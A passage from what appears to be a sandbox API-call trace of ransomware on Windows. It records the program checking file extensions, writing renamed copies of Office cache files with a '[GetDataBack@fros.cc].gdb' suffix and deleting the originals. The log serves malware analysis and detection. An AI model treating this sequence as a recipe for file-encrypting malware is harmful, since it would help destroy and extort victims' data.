lpString2=".xml") returned 1 [0114.672] lstrlenW (lpString=".rar") returned 4 [0114.672] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.672] lstrlenW (lpString=".bz2") returned 4 [0114.672] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.672] lstrlenW (lpString=".7z") returned 3 [0114.672] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.672] lstrlenW (lpString=".dbf") returned 4 [0114.672] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.673] lstrlenW (lpString=".1cd") returned 4 [0114.673] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.673] lstrlenW (lpString=".jpg") returned 4 [0114.673] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.673] lstrlenW (lpString=".doc") returned 4 [0114.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString=".docx") returned 5 [0114.673] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.673] lstrlenW (lpString=".pdf") returned 4 [0114.673] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString=".xls") returned 4 [0114.673] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString=".xlsx") returned 5 [0114.673] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.673] lstrlenW (lpString=".ppt") returned 4 [0114.673] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.673] lstrlenW (lpString=".zip") returned 4 [0114.673] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.673] lstrlenW (lpString=".rar") returned 4 [0114.673] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString=".bz2") returned 4 [0114.673] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString=".7z") returned 3 [0114.673] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.673] lstrlenW (lpString=".dbf") returned 4 [0114.673] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.674] lstrlenW (lpString=".1cd") returned 4 [0114.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0114.674] lstrlenW (lpString=".jpg") returned 4 [0114.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.674] Sleep (dwMilliseconds=0x64) [0115.253] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.253] lstrlenW (lpString="Proof.xml") returned 9 [0115.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.296] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1347) returned 1 [0115.297] CloseHandle (hObject=0x164) returned 1 [0115.297] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0115.297] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.297] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.297] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.297] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.297] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0115.298] GetLastError () returned 0x0 [0115.298] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x543, lpOverlapped=0x0) returned 1 [0115.299] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x550, lpOverlapped=0x0) returned 1 [0115.300] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0115.300] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0115.300] SetEndOfFile (hFile=0x18c) returned 1 [0115.300] CloseHandle (hObject=0x18c) returned 1 [0115.301] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.301] SetEndOfFile (hFile=0x164) returned 1 [0115.302] CloseHandle (hObject=0x164) returned 1 [0115.302] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.302] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0115.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.302] lstrlenW (lpString=".doc") returned 4 [0115.302] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString=".docx") returned 5 [0115.302] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0115.302] lstrlenW (lpString=".pdf") returned 4 [0115.302] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString=".xls") returned 4 [0115.303] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".xlsx") returned 5 [0115.303] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0115.303] lstrlenW (lpString=".ppt") returned 4 [0115.303] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.303] lstrlenW (lpString=".zip") returned 4 [0115.303] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.303] lstrlenW (lpString=".rar") returned 4 [0115.303] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".bz2") returned 4 [0115.303] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".7z") returned 3 [0115.303] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.303] lstrlenW (lpString=".dbf") returned 4 [0115.303] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.303] lstrlenW (lpString=".1cd") returned 4 [0115.303] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.303] lstrlenW (lpString=".jpg") returned 4 [0115.303] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.303] lstrlenW (lpString=".doc") returned 4 [0115.303] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".docx") returned 5 [0115.303] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0115.303] lstrlenW (lpString=".pdf") returned 4 [0115.303] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".xls") returned 4 [0115.303] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".xlsx") returned 5 [0115.303] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0115.304] lstrlenW (lpString=".ppt") returned 4 [0115.304] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.304] lstrlenW (lpString=".zip") returned 4 [0115.304] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.304] lstrlenW (lpString=".rar") returned 4 [0115.304] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.304] lstrlenW (lpString=".bz2") returned 4 [0115.304] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.304] lstrlenW (lpString=".7z") returned 3 [0115.304] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.304] lstrlenW (lpString=".dbf") returned 4 [0115.304] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.304] lstrlenW (lpString=".1cd") returned 4 [0115.304] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0115.304] lstrlenW (lpString=".jpg") returned 4 [0115.304] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.304] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.304] lstrlenW (lpString="Proof.xml") returned 9 [0115.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.304] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1457) returned 1 [0115.305] CloseHandle (hObject=0x164) returned 1 [0115.305] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0115.305] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.305] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.305] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.305] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.305] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0115.305] GetLastError () returned 0x0 [0115.305] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x5b1, lpOverlapped=0x0) returned 1 [0115.307] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x5c0, lpOverlapped=0x0) returned 1 [0115.308] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0115.308] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0115.308] SetEndOfFile (hFile=0x18c) returned 1 [0115.308] CloseHandle (hObject=0x18c) returned 1 [0115.309] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.309] SetEndOfFile (hFile=0x164) returned 1 [0115.310] CloseHandle (hObject=0x164) returned 1 [0115.310] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.310] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0115.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.310] lstrlenW (lpString=".doc") returned 4 [0115.310] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.310] lstrlenW (lpString=".docx") returned 5 [0115.310] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0115.310] lstrlenW (lpString=".pdf") returned 4 [0115.310] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.310] lstrlenW (lpString=".xls") returned 4 [0115.310] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.310] lstrlenW (lpString=".xlsx") returned 5 [0115.311] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0115.311] lstrlenW (lpString=".ppt") returned 4 [0115.311] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.311] lstrlenW (lpString=".zip") returned 4 [0115.311] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.311] lstrlenW (lpString=".rar") returned 4 [0115.311] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString=".bz2") returned 4 [0115.311] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString=".7z") returned 3 [0115.311] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.311] lstrlenW (lpString=".dbf") returned 4 [0115.311] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.311] lstrlenW (lpString=".1cd") returned 4 [0115.311] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.311] lstrlenW (lpString=".jpg") returned 4 [0115.311] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.311] lstrlenW (lpString=".doc") returned 4 [0115.311] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString=".docx") returned 5 [0115.311] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0115.311] lstrlenW (lpString=".pdf") returned 4 [0115.311] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString=".xls") returned 4 [0115.311] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.311] lstrlenW (lpString=".xlsx") returned 5 [0115.311] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0115.311] lstrlenW (lpString=".ppt") returned 4 [0115.311] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.312] lstrlenW (lpString=".zip") returned 4 [0115.312] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.312] lstrlenW (lpString=".rar") returned 4 [0115.312] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString=".bz2") returned 4 [0115.312] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString=".7z") returned 3 [0115.312] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.312] lstrlenW (lpString=".dbf") returned 4 [0115.312] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.312] lstrlenW (lpString=".1cd") returned 4 [0115.312] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0115.312] lstrlenW (lpString=".jpg") returned 4 [0115.312] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.312] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.312] lstrlenW (lpString="Proof.xml") returned 9 [0115.312] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.312] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1458) returned 1 [0115.312] CloseHandle (hObject=0x164) returned 1 [0115.313] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0115.313] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.313] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.313] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0115.313] GetLastError () returned 0x0 [0115.313] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x5b2, lpOverlapped=0x0) returned 1 [0115.315] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x5c0, lpOverlapped=0x0) returned 1 [0115.316] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0115.316] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0115.316] SetEndOfFile (hFile=0x18c) returned 1 [0115.316] CloseHandle (hObject=0x18c) returned 1 [0115.316] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.317] SetEndOfFile (hFile=0x164) returned 1 [0115.317] CloseHandle (hObject=0x164) returned 1 [0115.317] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.318] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0115.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.318] lstrlenW (lpString=".doc") returned 4 [0115.318] 